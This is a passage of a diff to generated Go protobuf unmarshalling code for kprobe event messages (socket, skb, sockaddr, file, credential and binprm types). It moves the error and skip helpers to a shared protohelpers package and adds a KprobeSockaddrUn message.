*KprobeSock) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -10811,12 +11210,12 @@ func (m *KprobeSock) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -10839,7 +11238,7 @@ func (m *KprobeSkb) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10867,7 +11266,7 @@ func (m *KprobeSkb) UnmarshalVT(dAtA []byte) error { m.Hash = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10886,7 +11285,7 @@ func (m *KprobeSkb) UnmarshalVT(dAtA []byte) error { m.Len = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10905,7 +11304,7 @@ func (m *KprobeSkb) UnmarshalVT(dAtA []byte) error { m.Priority = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10924,7 +11323,7 @@ func (m *KprobeSkb) UnmarshalVT(dAtA []byte) error { m.Mark = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10943,7 +11342,7 @@ func (m *KprobeSkb) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10957,11 +11356,11 @@ func (m *KprobeSkb) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -10975,7 +11374,7 @@ func (m *KprobeSkb) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -10989,11 +11388,11 @@ func (m *KprobeSkb) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -11007,7 +11406,7 @@ func (m *KprobeSkb) UnmarshalVT(dAtA []byte) error { m.Sport = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11026,7 +11425,7 @@ func (m *KprobeSkb) UnmarshalVT(dAtA []byte) error { m.Dport = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11045,7 +11444,7 @@ func (m *KprobeSkb) UnmarshalVT(dAtA []byte) error { m.Proto = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11064,7 +11463,7 @@ func (m *KprobeSkb) UnmarshalVT(dAtA []byte) error { m.SecPathLen = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11083,7 +11482,7 @@ func (m *KprobeSkb) UnmarshalVT(dAtA []byte) error { m.SecPathOlen = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11102,7 +11501,7 @@ func (m *KprobeSkb) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11116,11 +11515,11 @@ func (m *KprobeSkb) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -11134,7 +11533,7 @@ func (m *KprobeSkb) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11148,11 +11547,11 @@ func (m *KprobeSkb) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -11161,12 +11560,12 @@ func (m *KprobeSkb) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -11189,7 +11588,7 @@ func (m *KprobeSockaddr) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11217,7 +11616,7 @@ func (m *KprobeSockaddr) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11231,11 +11630,11 @@ func (m *KprobeSockaddr) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -11249,7 +11648,7 @@ func (m *KprobeSockaddr) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11263,11 +11662,11 @@ func (m *KprobeSockaddr) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -11281,7 +11680,7 @@ func (m *KprobeSockaddr) UnmarshalVT(dAtA []byte) error { m.Port = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11295,12 +11694,12 @@ func (m *KprobeSockaddr) UnmarshalVT(dAtA []byte) error { } default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -11315,7 +11714,7 @@ func (m *KprobeSockaddr) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *KprobeNetDev) UnmarshalVT(dAtA []byte) error { +func (m *KprobeSockaddrUn) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -11323,7 +11722,7 @@ func (m *KprobeNetDev) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11338,20 +11737,20 @@ func (m *KprobeNetDev) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: KprobeNetDev: wiretype end group for non-group") + return fmt.Errorf("proto: KprobeSockaddrUn: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: KprobeNetDev: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: KprobeSockaddrUn: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Family", wireType) } var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11365,25 +11764,57 @@ func (m *KprobeNetDev) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF } - m.Name = string(dAtA[iNdEx:postIndex]) + m.Family = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Path = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -11398,7 +11829,7 @@ func (m *KprobeNetDev) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *KprobePath) UnmarshalVT(dAtA []byte) error { +func (m *KprobeNetDev) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -11406,7 +11837,7 @@ func (m *KprobePath) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11421,20 +11852,20 @@ func (m *KprobePath) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: KprobePath: wiretype end group for non-group") + return fmt.Errorf("proto: KprobeNetDev: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: KprobePath: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: KprobeNetDev: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Mount", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) } var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11448,43 +11879,126 @@ func (m *KprobePath) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF } - m.Mount = string(dAtA[iNdEx:postIndex]) + m.Name = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex - case 2: - if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err } - var stringLen uint64 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return ErrIntOverflow - } - if iNdEx >= l { - return io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - stringLen |= uint64(b&0x7F) << shift - if b < 0x80 { - break - } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength } - intStringLen := int(stringLen) - if intStringLen < 0 { - return ErrInvalidLength + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *KprobePath) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: KprobePath: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: KprobePath: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Mount", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Mount = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -11498,7 +12012,7 @@ func (m *KprobePath) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11512,11 +12026,11 @@ func (m *KprobePath) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -11530,7 +12044,7 @@ func (m *KprobePath) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11544,11 +12058,11 @@ func (m *KprobePath) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -11557,12 +12071,12 @@ func (m *KprobePath) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -11585,7 +12099,7 @@ func (m *KprobeFile) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11613,7 +12127,7 @@ func (m *KprobeFile) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11627,11 +12141,11 @@ func (m *KprobeFile) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -11645,7 +12159,7 @@ func (m *KprobeFile) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11659,11 +12173,11 @@ func (m *KprobeFile) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -11677,7 +12191,7 @@ func (m *KprobeFile) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11691,11 +12205,11 @@ func (m *KprobeFile) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -11709,7 +12223,7 @@ func (m *KprobeFile) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11723,11 +12237,11 @@ func (m *KprobeFile) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -11736,12 +12250,12 @@ func (m *KprobeFile) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -11764,7 +12278,7 @@ func (m *KprobeTruncatedBytes) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11792,7 +12306,7 @@ func (m *KprobeTruncatedBytes) UnmarshalVT(dAtA []byte) error { var byteLen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11805,11 +12319,11 @@ func (m *KprobeTruncatedBytes) UnmarshalVT(dAtA []byte) error { } } if byteLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + byteLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -11826,7 +12340,7 @@ func (m *KprobeTruncatedBytes) UnmarshalVT(dAtA []byte) error { m.OrigSize = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11840,12 +12354,12 @@ func (m *KprobeTruncatedBytes) UnmarshalVT(dAtA []byte) error { } default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -11868,7 +12382,7 @@ func (m *KprobeCred) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11894,7 +12408,7 @@ func (m *KprobeCred) UnmarshalVT(dAtA []byte) error { var v CapabilitiesType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11911,7 +12425,7 @@ func (m *KprobeCred) UnmarshalVT(dAtA []byte) error { var packedLen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11924,11 +12438,11 @@ func (m *KprobeCred) UnmarshalVT(dAtA []byte) error { } } if packedLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + packedLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -11941,7 +12455,7 @@ func (m *KprobeCred) UnmarshalVT(dAtA []byte) error { var v CapabilitiesType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11963,7 +12477,7 @@ func (m *KprobeCred) UnmarshalVT(dAtA []byte) error { var v CapabilitiesType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11980,7 +12494,7 @@ func (m *KprobeCred) UnmarshalVT(dAtA []byte) error { var packedLen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -11993,11 +12507,11 @@ func (m *KprobeCred) UnmarshalVT(dAtA []byte) error { } } if packedLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + packedLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -12010,7 +12524,7 @@ func (m *KprobeCred) UnmarshalVT(dAtA []byte) error { var v CapabilitiesType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12032,7 +12546,7 @@ func (m *KprobeCred) UnmarshalVT(dAtA []byte) error { var v CapabilitiesType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12049,7 +12563,7 @@ func (m *KprobeCred) UnmarshalVT(dAtA []byte) error { var packedLen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12062,11 +12576,11 @@ func (m *KprobeCred) UnmarshalVT(dAtA []byte) error { } } if packedLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + packedLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -12079,7 +12593,7 @@ func (m *KprobeCred) UnmarshalVT(dAtA []byte) error { var v CapabilitiesType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12098,12 +12612,12 @@ func (m *KprobeCred) UnmarshalVT(dAtA []byte) error { } default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -12126,7 +12640,7 @@ func (m *KprobeLinuxBinprm) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12154,7 +12668,7 @@ func (m *KprobeLinuxBinprm) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12168,11 +12682,11 @@ func (m *KprobeLinuxBinprm) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -12186,7 +12700,7 @@ func (m *KprobeLinuxBinprm) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12200,11 +12714,11 @@ func (m *KprobeLinuxBinprm) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -12218,7 +12732,7 @@ func (m *KprobeLinuxBinprm) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -12232,11 +12746,11 @@ func (m *KprobeLinuxBinprm) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -12245,12 +12759,12 @@ func (m *KprobeLinuxBinprm) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + 